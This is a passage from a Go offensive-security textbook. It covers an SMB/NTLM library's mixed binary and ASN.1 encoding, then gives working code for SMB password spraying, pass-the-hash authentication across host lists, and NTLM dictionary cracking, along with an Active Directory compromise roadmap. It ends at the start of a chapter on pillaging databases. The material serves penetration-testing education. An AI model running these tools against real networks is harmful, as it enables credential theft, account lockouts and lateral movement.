container, NTLMSSP data isn’t ASN.1 encoded.
ASN.1 The specification for encoding data by using ASN.1 format.
Before we discuss the interesting snippets of code from the package,
you should understand some of the challenges you need to overcome in
order to get working SMB communications.
Using Mixed Encoding of Struct Fields
As we alluded to earlier, the SMB specification requires positional, binary,
little-endian, fixed- and variable-length encoding for the majority of the
message data. But some fields need to be ASN.1 encoded, which uses explic-
itly tagged identifiers for field index, type, and length. In this case, many
of the ASN.1 subfields to be encoded are optional and not restricted to a
specific position or order within the message field. This may help clarify
the challenge.
In Listing 6-1, you can see a hypothetical Message struct that presents
these challenges.
type Foo struct {
X int
Y []byte
}
type Message struct {
A int // Binary, positional encoding
B Foo // ASN.1 encoding as required by spec
C bool // Binary, positional encoding
}
Listing 6-1: A hypothetical example of a struct requiring variable field encodings
The crux of the problem here is that you can’t encode all the types
inside the Message struct by using the same encoding scheme because B, a
Foo type, is expected to be ASN.1 encoded, whereas other fields aren’t.
前沿信安资讯阵地 公众号:i nf osrc
136 Chapter 6
Writing a Custom Marshaling and Unmarshaling Interface
Recall from previous chapters that encoding schemes such as JSON or XML
recursively encode the struct and all fields by using the same encoding for-
mat. It was clean and simple. You don’t have the same luxury here, because
Go’s binary package behaves the same way—it encodes all structs and struct
fields recursively without a care in the world, but this won’t work for you
because the message requires mixed encoding:
binary.Write(someWriter, binary.LittleEndian, message)
The solution is to create an interface that allows arbitrary types to
define custom marshaling and unmarshaling logic (Listing 6-2).
u type BinaryMarshallable interface {
v MarshalBinary(*Metadata) ([]byte, error)
w UnmarshalBinary([]byte, *Metadata) error
}
Listing 6-2: An interface definition requiring custom marshaling and unmarshaling methods
The interface u, BinaryMarshallable, defines two methods that must be
implemented: MarshalBinary() v and UnmarshalBinary() w. Don’t worry too
much about the Metadata type passed into the functions, as it’s not relevant
to understand the main functionality.
Wrapping the Interface
Any type that implements the BinaryMarshallable interface can control its
own encoding. Unfortunately, it’s not as simple as just defining a few func-
tions on the Foo data type. After all, Go’s binary.Write() and binary.Read()
methods, which you use for encoding and decoding binary data, don’t know
anything about your arbitrarily defined interface. You need to create a
marshal() and unmarshal() wrapper function, within which you inspect the
data to determine whether the type implements the BinaryMarshallable inter-
face, as in Listing 6-3. (All the code listings at the root location of / exist
under the provided github repo https://github.com/blackhat-go/bhg/.)
func marshal(v interface{}, meta *Metadata) ([]byte, error) {
--snip--
bm, ok := v.(BinaryMarshallable) u
if ok {
// Custom marshallable interface found.
buf, err := bm.MarshalBinary(meta) v
if err != nil {
return nil, err
}
return buf, nil
}
--snip--
}
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 137
--snip--
func unmarshal(buf []byte, v interface{}, meta *Metadata) (interface{}, error) {
--snip--
bm, ok := v.(BinaryMarshallable) w
if ok {
// Custom marshallable interface found.
if err := bm.UnmarshalBinary(buf, meta)x; err != nil {
return nil, err
}
return bm, nil
}
--snip--
}
Listing 6-3: Using type assertions to perform custom data marshaling and unmarshaling (/ch-6/smb/smb
/encoder/encoder.go)
Listing 6-3 details only a subsection of the marshal() and unmarshal()
functions taken from https://github.com/blackhat-go/bhg/blob/master/ch-6/smb
/smb/encoder /encoder.go. Both functions contain a similar section of code that
attempts to assert the supplied interface, v, to a BinaryMarshallable variable
named bm uw. This succeeds only if whatever type v is actually implements
the necessary functions required by your BinaryMarshallable interface. If
it succeeds, your marshal() function v makes a call to bm.MarshalBinary(),
and your unmarshal() function x makes a call to bm.UnmarshalBinary(). At
this point, your program flow will branch off into the type’s encoding and
decoding logic, allowing a type to maintain complete control over the way
it’s handled.
Forcing ASN.1 Encoding
Let’s look at how to force your Foo type to be ASN.1 encoded, while leaving
other fields in your Message struct as-is. To do this, you need to define the
MarshalBinary() and UnmarshalBinary() functions on the type, as in Listing 6-4.
func (f *Foo) MarshalBinary(meta *encoder.Metadata) ([]byte, error) {
buf, err := asn1.Marshal(*f)u
if err != nil {
return nil, err
}
return buf, nil
}
func (f *Foo) UnmarshalBinary(buf []byte, meta *encoder.Metadata) error {
data := Foo{}
if _, err := asn1.Unmarshal(buf, &data)v; err != nil {
return err
}
*f = data
return nil
}
Listing 6-4: Implementing the BinaryMarshallable interface for ASN.1 encoding
前沿信安资讯阵地 公众号:i nf osrc
138 Chapter 6
The methods don’t do much besides make calls to Go’s asn1.Marshal() u
and asn1.Unmarshal() v functions. You can find variations of these functions
within the gss package code at https://github.com/blackhat-go/bhg/blob/master
/ch-6/smb/gss/gss.go. The only real difference between them is that the gss
package code has additional tweaks to make Go’s asn1 encoding function
play nicely with the data format defined within the SMB spec.
The ntlmssp package at https://github.com/blackhat-go/bhg/blob/master
/ch-6/smb/ntlmssp/ntlmssp.go contains an alternative implementation of the
MarshalBinary() and Unmarshal Binary() functions. Although it doesn’t demon-
strate ASN.1 encoding, the ntlmssp code shows how to handle encoding of an
arbitrary data type by using necessary metadata. The metadata—the lengths
and offsets of variable-length byte slices—is pertinent to the encoding pro-
cess. This metadata leads us to the next challenge you need to address.
Understanding Metadata and Referential Fields
If you dig into the SMB specification a little, you’ll find that some messages
contain fields that reference other fields of the same message. For example,
the fields—taken from the Negotiate response message—refer to the offset
and length of a variable-length byte slice that contains the actual value:
SecurityBufferOffset (2 bytes): The offset, in bytes, from the
beginning of the SMB2 header to the security buffer.
SecurityBufferLength (2 bytes): The length, in bytes, of the
security buffer.
These fields essentially act as metadata. Later in the message spec, you
find the variable-length field within which your data actually resides:
Buffer (variable): The variable-length buffer that contains
the security buffer for the response, as specified by Security
BufferOffset and SecurityBufferLength. The buffer SHOULD
contain a token as produced by the GSS protocol as specified
in section 3.3.5.4. If SecurityBufferLength is 0, this field is
empty and client-initiated authentication, with an authen-
tication protocol of the client’s choice, will be used instead
of server-initiated SPNEGO authentication, as described in
[MS-AUTHSOD] section 2.1.2.2.
Generally speaking, this is how the SMB spec consistently handles
variable- length data: fixed-position length and offset fields depicting the
size and location of the data itself. This is not specific to response messages
or the Negotiate message, and often you’ll find multiple fields within a single
message using this pattern. Really, anytime you have a variable-length
field, you’ll find this pattern. The metadata explicitly instructs the message
receiver on how to locate and extract the data.
This is useful, but it complicates your encoding strategy because you
now need to maintain a relationship between different fields within a
struct. You can’t, for example, just marshal an entire message because
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 139
some of the metadata fields—for example, length and offset—won’t be
known until the data itself is marshaled or, in the case of the offset, all
fields preceding the data are marshaled.
Understanding the SMB Implementation
The remainder of this subsection addresses some of the ugly details regard-
ing the SMB implementation we devised. You don’t need to understand this
information to use the package.
We played around with a variety of approaches to handle referential
data, eventually settling on a solution that utilizes a combination of struc-
ture field tags and reflection. Recall that reflection is a technique through
which a program can inspect itself, particularly examining things like its
own data types. Field tags are somewhat related to reflection in that they
define arbitrary metadata about a struct field. You may recall them from
previous XML, MSGPACK, or JSON encoding examples. For example,
Listing 6-5 uses struct tags to define JSON field names.
type Foo struct {
A int `json:"a"`
B string `json:"b"`
}
Listing 6-5: A struct defining JSON field tags
Go’s reflect package contains the functions we used to inspect data
types and extract field tags. At that point, it was a matter of parsing the tags
and doing something meaningful with their values. In Listing 6-6, you can
see a struct defined in the SMB package.
type NegotiateRes struct {
Header
StructureSize uint16
SecurityMode uint16
DialectRevision uint16
Reserved uint16
ServerGuid []byte `smb:"fixed:16"`u
Capabilities uint32
MaxTransactSize uint32
MaxReadSize uint32
MaxWriteSize uint32
SystemTime uint64
ServerStartTime uint64
SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`v
SecurityBufferLength uint16 `smb:"len:SecurityBlob"`w
Reserved2 uint32
SecurityBlob *gss.NegTokenInit
}
Listing 6-6: Using SMB field tags for defining field metadata (/ch-6/smb/smb/smb.go)
前沿信安资讯阵地 公众号:i nf osrc
140 Chapter 6
This type uses three field tags, identified by the SMB key: fixed u,
offset v, and len w. Keep in mind that we chose all these names arbitrarily.
You aren’t obligated to use a specific name. The intent of each tag is as follows:
•
fixed identifies a []byte as a fixed-length field of the provided size. In
this case, ServerGuid is 16 bytes in length.
•
offset defines the number of bytes from the beginning of the struct
to the first position of a variable-length data buffer. The tag defines
the name of the field—in this case, SecurityBlob—to which the offset
relates. A field by this referenced name is expected to exist in the
same struct.
•
len defines the length of a variable-length data buffer. The tag defines
the name of the field—in this case, SecurityBlob, to which the length
relates. A field by this referenced name should exist in the same struct.
As you might have noticed, our tags allow us not only to create rela-
tionships—through arbitrary metadata—between different fields, but also
to differentiate between fixed-length byte slices and variable-length data.
Unfortunately, adding these struct tags doesn’t magically fix the problem.
The code needs to have the logic to look for these tags and take specific
actions on them during marshaling and unmarshaling.
Parsing and Storing Tags
In Listing 6-7, the convenience function, called parseTags(), performs the
tag-parsing logic and stores the data in a helper struct of type TagMap.
func parseTags(sf reflect.StructFieldu) (*TagMap, error) {
ret := &TagMap{
m: make(map[string]interface{}),
has: make(map[string]bool),
}
tag := sf.Tag.Get("smb")v
smbTags := strings.Split(tag, ",")w
for _, smbTag := range smbTagsx {
tokens := strings.Split(smbTag, ":")y
switch tokens[0] { z
case "len", "offset", "count":
if len(tokens) != 2 {
return nil, errors.New("Missing required tag data. Expecting key:val")
}
ret.Set(tokens[0], tokens[1])
case "fixed":
if len(tokens) != 2 {
return nil, errors.New("Missing required tag data. Expecting key:val")
}
i, err := strconv.Atoi(tokens[1])
if err != nil {
return nil, err
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 141
}
ret.Set(tokens[0], i) {
}
Listing 6-7: Parsing structure tags (/ch-6/smb/smb/encoder/encoder.go)
The function accepts a parameter named sf of type reflect.StructField u,
which is a type defined within Go’s reflect package. The code calls sf.Tag
.Get("smb") on the StructField variable to retrieve any smb tags defined on the
field v. Again, this is an arbitrary name we chose for our program. We just
need to make sure that the code to parse the tags is using the same key as
the one we used in our struct’s type definition.
We then split the smb tags on a comma w, in case we need to have
multiple smb tags defined on a single struct field in the future, and loop
through each tag x. We split each tag on a colon y—recall that we used
the format name:value for our tags, such as fixed:16 and len:SecurityBlob.
With the individual tag data separated into its basic key and value pairing,
we use a switch statement on the key to perform key-specific validation
logic, such as converting values to integers for fixed tag values z.
Lastly, the function sets the data in our custom map named ret {.
Invoking the parseTags() Function and Creating a reflect.StructField Object
Now, how do we invoke the function, and how do we create an object of
type reflect.StructField? To answer these questions, look at the unmarshal()
function in Listing 6-8, which is within the same source file that has our
parseTags() convenience function. The unmarshal() function is extensive, so
we’ll just piece together the most relevant portions.
func unmarshal(buf []byte, v interface{}, meta *Metadata) (interface{}, error) {
typev := reflect.TypeOf(v) u
valuev := reflect.ValueOf(v) v
--snip--
r := bytes.NewBuffer(buf)
switch typev.Kind() { w
case reflect.Struct:
--snip--
case reflect.Uint8:
--snip--
case reflect.Uint16:
--snip--
case reflect.Uint32:
--snip--
case reflect.Uint64:
--snip--
case reflect.Slice, reflect.Array:
--snip--
default:
return errors.New("Unmarshal not implemented for kind:" + typev.Kind().String()), nil
}
前沿信安资讯阵地 公众号:i nf osrc
142 Chapter 6
return nil, nil
}
Listing 6-8: Using reflection to dynamically unmarshal unknown types (/ch-6/smb/smb /encoder/encoder.go)
The unmarshal() function uses Go’s reflect package to retrieve the type u
and value v of the destination interface to which our data buffer will be
unmarshaled. This is necessary because in order to convert an arbitrary
byte slice into a struct, we need to know how many fields are in the struct
and how many bytes to read for each field. For example, a field defined as
uint16 consumes 2 bytes, whereas a uint64 consumes 8 bytes. By using reflec-
tion, we can interrogate the destination interface to see what data type it
is and how to handle the reading of data. Because the logic for each type
will differ, we perform a switch on the type by calling typev.Kind() w, which
returns a reflect.Kind instance indicating the kind of data type we’re work-
ing with. You’ll see that we have a separate case for each of the allowed
data types.
Handling Structs
Let’s look at the case block, in Listing 6-9, that handles a struct type, since
that is a likely initial entry point.
case reflect.Struct:
m := &Metadata{ u
Tags: &TagMap{},
Lens: make(map[string]uint64),
Parent: v,
ParentBuf: buf,
Offsets: make(map[string]uint64),
CurrOffset: 0,
}
for i := 0; i < typev.NumField(); i++ { v
m.CurrField = typev.Field(i).Namew
tags, err := parseTags(typev.Field(i))x
if err != nil {
return nil, err
}
m.Tags = tags
var data interface{}
switch typev.Field(i).Type.Kind() { y
case reflect.Struct:
data, err = unmarshal(buf[m.CurrOffset:], valuev.Field(i).Addr().Interface(), m)z
default:
data, err = unmarshal(buf[m.CurrOffset:], valuev.Field(i).Interface(), m){
}
if err != nil {
return nil, err
}
valuev.Field(i).Set(reflect.ValueOf(data)) |
}
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 143
v = reflect.Indirect(reflect.ValueOf(v)).Interface()
meta.CurrOffset += m.CurrOffset }
return v, nil
Listing 6-9: Unmarshaling a struct type (/ch-6/smb/smb/encoder/encoder.go)
The case block begins by defining a new Metadata object u, a type used
to track relevant metadata, including the current buffer offset, field tags,
and other information. Using our type variable, we call the NumField()
method to retrieve the number of fields within the struct v. It returns
an integer value that acts as the constraint for a loop.
Within the loop, we can extract the current field through a call to the
type’s Field(index int) method. The method returns a reflect.StructField
type. You’ll see we use this method a few times throughout this code snippet.
Think of it as retrieving an element from a slice by index value. Our first
usage w retrieves the field to extract the field’s name. For example, Security
BufferOffset and SecurityBlob are field names within the NegotiateRes struct
defined in Listing 6-6. The field name is assigned to the CurrField property
of our Metadata object. The second call to the Field(index int) method is
inputted to the parseTags() function x from Listing 6-7. We know this func-
tion parses our struct field tags. The tags are included in our Metadata object
for later tracking and usage.
Next, we use a switch statement to act specifically on the field type y.
There are only two cases. The first handles instances where the field itself
is a struct z, in which case, we make a recursive call to the unmarshal()
function, passing to it a pointer to the field as an interface. The second case
handles all other kinds (primitives, slices, and so on), recursively calling the
unmarshal() function and passing it the field itself as an interface {. Both
calls do some funny business to advance the buffer to start at our current
offset. Our recursive call eventually returns an interface{}, which is a type
that contains our unmarshaled data. We use reflection to set our current
field’s value to the value of this interface data |. Lastly, we advance our
current offset in the buffer }.
Yikes! Can you see how this can be a challenge to develop? We have a
separate case for every kind of input. Luckily, the case block that handles
a struct is the most complicated.
Handling uint16
If you are really paying attention, you’re probably asking: where do you
actually read data from the buffer? The answer is nowhere in Listing 6-9.
Recall that we are making recursive calls to the unmarshal() function, and
each time, we pass the inner fields to the function. Eventually we’ll reach
primitive data types. After all, at some point, the innermost nested structs
are composed of basic data types. When we encounter a basic data type,
our code will match against a different case in the outermost switch state-
ment. For example, when we encounter a uint16 data type, this code exe-
cutes the case block in Listing 6-10.
前沿信安资讯阵地 公众号:i nf osrc
144 Chapter 6
case reflect.Uint16:
var ret uint16
if err := binary.Read(r, binary.LittleEndian, &ret)u; err != nil {
return nil, err
}
if meta.Tags.Has("len")v {
ref, err := meta.Tags.GetString("len")w
if err != nil {
return nil, err
}
meta.Lens[ref]x = uint64(ret)
}
y meta.CurrOffset += uint64(binary.Size(ret))
return ret, nil
Listing 6-10: Unmarshaling uint16 data (/ch-6/smb/smb/encoder /encoder.go/)
In this case block, we make a call to binary.Read() in order to read data
from our buffer into a variable, ret u. This function is smart enough to
know how many bytes to read, based off the type of the destination. In this
case, ret is a uint16, so 2 bytes are read.
Next, we check whether the len field tag is present v. If it is, we retrieve
the value—that is, a field name—tied to that key w. Recall that this value
will be a field name to which the current field is expected to refer. Because
the length-identifying fields precede the actual data in the SMB messages,
we don’t know where the buffer data actually resides, and so we can’t take
any action yet.
We’ve just acquired length metadata, and there’s no better place to
store it than in our Metadata object. We store it within a map[string]uint64
that maintains a relationship of reference field names to their lengths x.
Phrased another way, we now know how long a variable-length byte slice
needs to be. We advance the current offset by the size of the data we just
read y, and return the value read from the buffer.
Similar logic and metadata tracking happen in the process of handling
the offset tag information, but we omitted that code for brevity.
Handling Slices
In Listing 6-11, you can see the case block that unmarshals slices, which we
need to account for both fixed- and variable-length data while using tags
and metadata in the process.
case reflect.Slice, reflect.Array:
switch typev.Elem().Kind()u {
case reflect.Uint8:
var length, offset int v
var err error
if meta.Tags.Has("fixed") {
if length, err = meta.Tags.GetInt("fixed")w; err != nil {
return nil, err
}
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 145
// Fixed length fields advance current offset
meta.CurrOffset += uint64(length) x
} else {
if val, ok := meta.Lens[meta.CurrField]y; ok {
length = int(val)
} else {
return nil, errors.New("Variable length field missing length reference in struct")
}
if val, ok := meta.Offsets[meta.CurrField]z; ok {
offset = int(val)
} else {
// No offset found in map. Use current offset
offset = int(meta.CurrOffset)
}
// Variable length data is relative to parent/outer struct.
// Reset reader to point to beginning of data
r = bytes.NewBuffer(meta.ParentBuf[offset : offset+length])
// Variable length data fields do NOT advance current offset.
}
data := make([]byte, length) {
if err := binary.Read(r, binary.LittleEndian, &data)|; err != nil {
return nil, err
}
return data, nil
Listing 6-11: Unmarshaling fixed- and variable-length byte slices (/ch-6/smb/smb /encoder/encoder.go/)
First, we use reflection to determine the slice’s element type u. For
example, handling of []uint8 is different from []uint32, as the number of
bytes per element differs. In this case, we’re handling only []uint8 slices.
Next, we define a couple of local variables, length and offset, to use for
tracking the length of the data to read and the offset within the buffer
from which to begin reading v. If the slice is defined with the fixed tag,
we retrieve the value and assign it to length w. Recall that the tag value
for the fixed key is an integer that defines the length of the slice. We’ll
use this length to advance the current buffer offset for future reads x. For
fixed-length fields, the offset is left as its default value—zero—since it will
always appear at the current offset. Variable-length slices are slightly more
complex because we retrieve both the length y and offset z information
from our Metadata structure. A field uses its own name as the key for the
lookup of the data. Recall how we populated this information previously.
With our length and offset variables properly set, we then create a slice of the
desired length { and use it in a call to binary.Read() |. Again, this function is
smart enough to read bytes up until our destination slice has been filled.
This has been an exhaustingly detailed journey into the dark recesses of
custom tags, reflection, and encoding with a hint of SMB. Let’s move beyond
this ugliness and do something useful with the SMB library. Thankfully, the
following use cases should be significantly less complicated.
前沿信安资讯阵地 公众号:i nf osrc
146 Chapter 6
Guessing Passwords with SMB
The first SMB case we’ll examine is a fairly common one for attackers and
pen testers: online password guessing over SMB. You’ll try to authenti-
cate to a domain by providing commonly used usernames and passwords.
Before diving in, you’ll need to grab the SMB package with the following
get command:
$ go get github.com/bhg/ch-6/smb
Once the package is installed, let’s get to coding. The code you’ll create
(shown in Listing 6-12) accepts a file of newline-separated usernames, a
password, a domain, and target host information as command line argu-
ments. To avoid locking accounts out of certain domains, you’ll attempt a
single password across a list of users rather than attempt a list of passwords
across one or more users.
W A R N I N G
Online password guessing can lock accounts out of a domain, effectively resulting in
a denial-of-service attack. Take caution when testing your code and run this against
only systems on which you’re authorized to test.
func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main </user/file> <password> <domain>
<target_host>")
}
buf, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
options := smb.Optionsu{
Password: os.Args[2],
Domain: os.Args[3],
Host: os.Args[4],
Port: 445,
}
users := bytes.Split(buf, []byte{'\n'})
for _, user := range usersv {
w options.User = string(user)
session, err := smb.NewSession(options, false)x
if err != nil {
fmt.Printf("[-] Login failed: %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
continue
}
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 147
defer session.Close()
if session.IsAuthenticatedy {
fmt.Printf("[+] Success : %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
}
}
}
Listing 6-12: Leveraging the SMB package for online password guessing (/ch-6/password
-guessing/main.go)
The SMB package operates on sessions. To establish a session, you first
initialize an smb.Options instance that will contain all your session options,
including target host, user, password, port, and domain u. Next, you loop
through each of your target users v, setting the options.User value appro-
priately w, and issue a call to smb.NewSession() x. This function does a lot of
heavy lifting for you behind the scenes: it negotiates both the SMB dialect
and authentication mechanism, and then authenticates to the remote tar-
get. The function will return an error if authentication fails, and a boolean
IsAuthenticated field on the session struct is populated based off the out-
come. It will then check the value to see whether the authentication suc-
ceeded, and if it did, display a success message y.
That is all it takes to create an online password-guessing utility.
Reusing Passwords with the Pass-the-Hash Technique
The pass-the-hash technique allows an attacker to perform SMB authentica-
tion by using a password’s NTLM hash, even if the attacker doesn’t have the
cleartext password. This section walks you through the concept and shows
you an implementation of it.
Pass-the-hash is a shortcut to a typical Active Directory domain compromise,
a type of attack in which attackers gain an initial foothold, elevate their
privileges, and move laterally throughout the network until they have
the access levels they need to achieve their end goal. Active Directory
domain compromises generally follow the roadmap presented in this list,
assuming they take place through an exploit rather than something like
password guessing:
1. The attacker exploits the vulnerability and gains a foothold on
the network.
2. The attacker elevates privileges on the compromised system.
3. The attacker extracts hashed or cleartext credentials from LSASS.
4. The attacker attempts to recover the local administrator password
via offline cracking.
前沿信安资讯阵地 公众号:i nf osrc
148 Chapter 6
5. The attacker attempts to authenticate to other machines by using the
administrator credentials, looking for reuse of the password.
6. The attacker rinses and repeats until the domain administrator or
other target has been compromised.
With NTLMSSP authentication, however, even if you fail to recover
the cleartext password during step 3 or 4, you can proceed to use the pass-
word’s NTLM hash for SMB authentication during step 5—in other words,
passing the hash.
Pass-the-hash works because it separates the hash calculation from the
challenge-response token calculation. To see why this is, let’s look at the fol-
lowing two functions, defined by the NTLMSSP specification, pertaining to
the cryptographic and security mechanisms used for authentication:
NTOWFv2 A cryptographic function that creates an MD5 HMAC
by using the username, domain, and password values. It generates the
NTLM hash value.
ComputeResponse A function that uses the NTLM hash in combina-
tion with the message’s client and server challenges, timestamp, and
target server name to produce a GSS-API security token that can be
sent for authentication.
You can see the implementations of these functions in Listing 6-13.
func Ntowfv2(pass, user, domain string) []byte {
h := hmac.New(md5.New, Ntowfv1(pass))
h.Write(encoder.ToUnicode(strings.ToUpper(user) + domain))
return h.Sum(nil)
}
func ComputeResponseNTLMv2(nthashu, lmhash, clientChallenge, serverChallenge, timestamp,
serverName []byte) []byte {
temp := []byte{1, 1}
temp = append(temp, 0, 0, 0, 0, 0, 0)
temp = append(temp, timestamp...)
temp = append(temp, clientChallenge...)
temp = append(temp, 0, 0, 0, 0)
temp = append(temp, serverName...)
temp = append(temp, 0, 0, 0, 0)
h := hmac.New(md5.New, nthash)
h.Write(append(serverChallenge, temp...))
ntproof := h.Sum(nil)
return append(ntproof, temp...)
}
Listing 6-13: Working with NTLM hashes (/ch-6/smb/ntlmssp/crypto.go)
The NTLM hash is supplied as input to the ComputeResponseNTLMv2
function u, meaning the hash has been created independently of the
logic used for security token creation. This implies that hashes stored
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 149
anywhere—even in LSASS—are considered precalculated, because you
don’t need to supply the domain, user, or password as input. The authenti-
cation process is as follows:
1.
Calculate the user’s hash by using the domain, user, and password values.
2. Use the hash as input to calculate authentication tokens for NTLMSSP
over SMB.
Since you already have a hash in hand, you’ve already completed
step 1. To pass the hash, you initiate your SMB authentication sequence,
as you defined it way back in the opening sections of this chapter. However,
you never calculate the hash. Instead, you use the supplied value as the
hash itself.
Listing 6-14 shows a pass-the-hash utility that uses a password hash to
attempt to authenticate as a specific user to a list of machines.
func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main <target/hosts> <user> <domain> <hash>")
}
buf, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
options := smb.Options{
User: os.Args[2],
Domain: os.Args[3],
Hashu: os.Args[4],
Port: 445,
}
targets := bytes.Split(buf, []byte{'\n'})
for _, target := range targetsv {
options.Host = string(target)
session, err := smb.NewSession(options, false)
if err != nil {
fmt.Printf("[-] Login failed [%s]: %s\n", options.Host, err)
continue
}
defer session.Close()
if session.IsAuthenticated {
fmt.Printf("[+] Login successful [%s]\n", options.Host)
}
}
}
Listing 6-14: Passing the hash for authentication testing (/ch-6 /password-reuse/main.go)
前沿信安资讯阵地 公众号:i nf osrc
150 Chapter 6
This code should look similar to the password-guessing example. The
only significant differences are that you’re setting the Hash field of smb.Options
(not the Password field) u and you’re iterating over a list of target hosts
(rather than target users) v. The logic within the smb.NewSession() function
will use the hash value if populated within the options struct.
Recovering NTLM Passwords
In some instances, having only the password hash will be inadequate for
your overall attack chain. For example, many services (such as Remote
Desktop, Outlook Web Access, and others) don’t allow hash-based authen-
tication, because it either isn’t supported or isn’t a default configuration.
If your attack chain requires access to one of these services, you’ll need
a cleartext password. In the following sections, you’ll walk through how
hashes are calculated and how to create a basic password cracker.
Calculating the Hash
In Listing 6-15, you perform the magic of calculating the hash.
func NewAuthenticatePass(domain, user, workstation, password string, c Challenge) Authenticate
{
// Assumes domain, user, and workstation are not unicode
nthash := Ntowfv2(password, user, domain)
lmhash := Lmowfv2(password, user, domain)
return newAuthenticate(domain, user, workstation, nthash, lmhash, c)
}
func NewAuthenticateHash(domain, user, workstation, hash string, c Challenge) Authenticate {
// Assumes domain, user, and workstation are not unicode
buf := make([]byte, len(hash)/2)
hex.Decode(buf, []byte(hash))
return newAuthenticate(domain, user, workstation, buf, buf, c)
}
Listing 6-15: Calculating hashes (/ch-6/smb/ntlmssp/ntlmssp.go)
The logic to call the appropriate function is defined elsewhere, but
you’ll see that the two functions are similar. The real difference is that
password-based authentication in the NewAuthenticatePass() function com-
putes the hash before generating the authentication message, whereas the
NewAuthenticateHash() function skips that step and uses the supplied hash
directly as input to generate the message.
Recovering the NTLM Hash
In Listing 6-16, you can see a utility that recovers a password by cracking a
supplied NTLM hash.
func main() {
if len(os.Args) != 5 {
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 151
log.Fatalln("Usage: main <dictionary/file> <user> <domain> <hash>")
}
hash := make([]byte, len(os.Args[4])/2)
_, err := hex.Decode(hash, []byte(os.Args[4]))u
if err != nil {
log.Fatalln(err)
}
f, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
var found string
passwords := bytes.Split(f, []byte{'\n'})
for _, password := range passwordsv {
h := ntlmssp.Ntowfv2(string(password), os.Args[2], os.Args[3]) w
if bytes.Equal(hash, h)x {
found = string(password)
break
}
}
if found != "" {
fmt.Printf("[+] Recovered password: %s\n", found)
} else {
fmt.Println("[-] Failed to recover password")
}
}
Listing 6-16: NTLM hash cracking (/ch-6/password-recovery /main.go)
The utility reads the hash as a command line argument, decoding it to
a []byte u. Then you loop over a supplied password list v, calculating the
hash of each entry by calling the ntlmssp.Ntowfv2() function we discussed
previously w. Finally, you compare the calculated hash with that of our sup-
plied value x. If they match, you have a hit and break out of the loop.
Summary
You’ve made it through a detailed examination of SMB, touching on proto-
col specifics, reflection, structure field tags, and mixed encoding! You also
learned how pass-the-hash works, as well as a few useful utility programs
that leverage the SMB package.
To continue your learning, we encourage you to explore additional
SMB communications, particularly in relation to remote code execution,
such as PsExec. Using a network sniffer, such as Wireshark, capture the
packets and evaluate how this functionality works.
In the next chapter, we move on from network protocol specifics to
focus on attacking and pillaging databases.
前沿信安资讯阵地 公众号:i nf osrc
前沿信安资讯阵地 公众号:i nf osrc
Now that we’ve covered the majority of
common network protocols used for active
service interrogation, command and control,
and other malicious activity, let’s switch our
focus to an equally important topic: data pillaging.
Although data pillaging may not be as exciting as initial exploitation,
lateral network movement, or privilege escalation, it’s a critical aspect of the
overall attack chain. After all, we often need data in order to perform those
other activities. Commonly, the data is of tangible worth to an attacker.
Although hacking an organization is thrilling, the data itself is often a
lucrative prize for the attacker and a damning loss for the organization.
Depending on which study you read, a breach in 2020 can cost an orga-
nization approximately $4 to $7 million. An IBM study estimates it costs an
organization $129 to $355 per record stolen. Hell, a black hat hacker can
make some serious coin off the underground market by selling credit cards
at a rate of $7 to $80 per card (http://online.wsj.com/public/resources/documents
/secureworks_hacker_annualreport.pdf).
7
A BU SING DATA B A SE S
A N D F IL E S Y S T E M S
前沿信安资讯阵地 公众号:i nf osrc
154 Chapter 7
The Target breach alone resulted in a compromise of 40 million cards.
In some cases, the Target cards were sold for as much as $135 per card
(http://www.businessinsider.com/heres-what-happened-to-your-target-data-that-was
-hacked-2014-10/). That’s pretty lucrative. We, in no way, advocate that type of
activity, but folks with a questionable moral compass stand to make a lot of
money from data pillaging.
Enough about the industry and fancy references to online articles—let’s
pillage! In this chapter, you’ll learn to set up and seed a variety of SQL and
NoSQL databases and learn to connect and interact with those databases
via Go. We’ll also demonstrate how to create a database and filesystem data
miner that searches for key indicators of juicy information.
Setting Up Databases with Docker
In this section, you’ll install various database systems and then seed them
with the data you’ll use in this chapter’s pillaging examples. Where pos-
sible, you’ll use Docker on an Ubuntu 18.04 VM. Docker is a software con-
tainer platform that makes it easy to deploy and manage applications. You
can bundle applications and their dependencies in a manner that makes
their deployment straightforward. The container is compartmentalized
from the operating system in order to prevent the pollution of the host
platform. This is nifty stuff.
And for this chapter, you will use a variety of prebuilt Docker images
for the databases you’ll be working with. If you don’t have it already, install
Docker. You can find Ubuntu instructions at https://docs.docker.com/install
/linux/docker-ce/ubuntu/.
N O T E
We’ve specifically chosen to omit details on setting up an Oracle instance. Although
Oracle provides VM images that you can download and use to create a test database,
we felt that it was unnecessary to walk you through these steps, since they’re fairly
similar to the MySQL examples below. We’ll leave the Oracle-specific implementation
as an exercise for you to do independently.
Installing and Seeding MongoDB
MongoDB is the only NoSQL database that you’ll use in this chapter. Unlike
traditional relational databases, MongoDB doesn’t communicate via SQL.
Instead, MongoDB uses an easy-to-understand JSON syntax for retrieving
and manipulating data. Entire books have been dedicated to explaining
MongoDB, and a full explanation is certainly beyond the scope of this
book. For now, you’ll install the Docker image and seed it with fake data.
Unlike traditional SQL databases, MongoDB is schema-less, which means
that it doesn’t follow a predefined, rigid rule system for organizing table
data. This explains why you’ll see only insert commands in Listing 7-1
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 155
without any schema definitions. First, install the MongoDB Docker image
with the following command:
$ docker run --name some-mongo -p 27017:27017 mongo
This command downloads the image named mongo from the Docker
repository, spins up a new instance named some-mongo—the name you give
the instance is arbitrary—and maps local port 27017 to the container port
